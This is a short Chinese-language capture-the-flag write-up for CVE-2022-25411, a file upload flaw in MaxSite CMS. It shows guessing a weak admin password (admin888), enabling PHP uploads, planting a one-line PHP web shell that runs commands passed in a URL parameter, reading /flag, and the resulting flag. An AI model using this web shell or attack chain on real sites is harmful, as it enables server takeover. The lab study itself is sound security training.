春秋云境：CVE-2022-25411（Maxsite CMS文件上传漏洞）

目录

一、题目

 二、官方POC 

---

一、题目

介绍：

MaxSite CMS是俄国MaxSite CMS开源项目的一款网站内容管理系统

Maxsite CMS存在文件上传漏洞，攻击者可利用该漏洞通过精心制作的PHP文件执行任意代码。

进入题目：

发现是俄文  乌拉~~

 不过没关系 我们国产化一下：

 二、官方POC 

国家信息安全漏洞库 

 登录目录是/admin/options

一开始以为弱口令就是admin：admin 

 然而不对：

 尝试了几个密码password admin123 666 888什么的

结果还被试出来了：admin888

先修改可上传文件类型 

 添加php

 进入下载页面：

点击上传页面：

上传木马文件：

<?php system($_GET[1]);phpinfo();?> 

点击下载

点击已上传的文件

查看 xxx.php?1=cat /flag

flag{90aeafa9-7baf-413d-ba1d-7817411d86f0}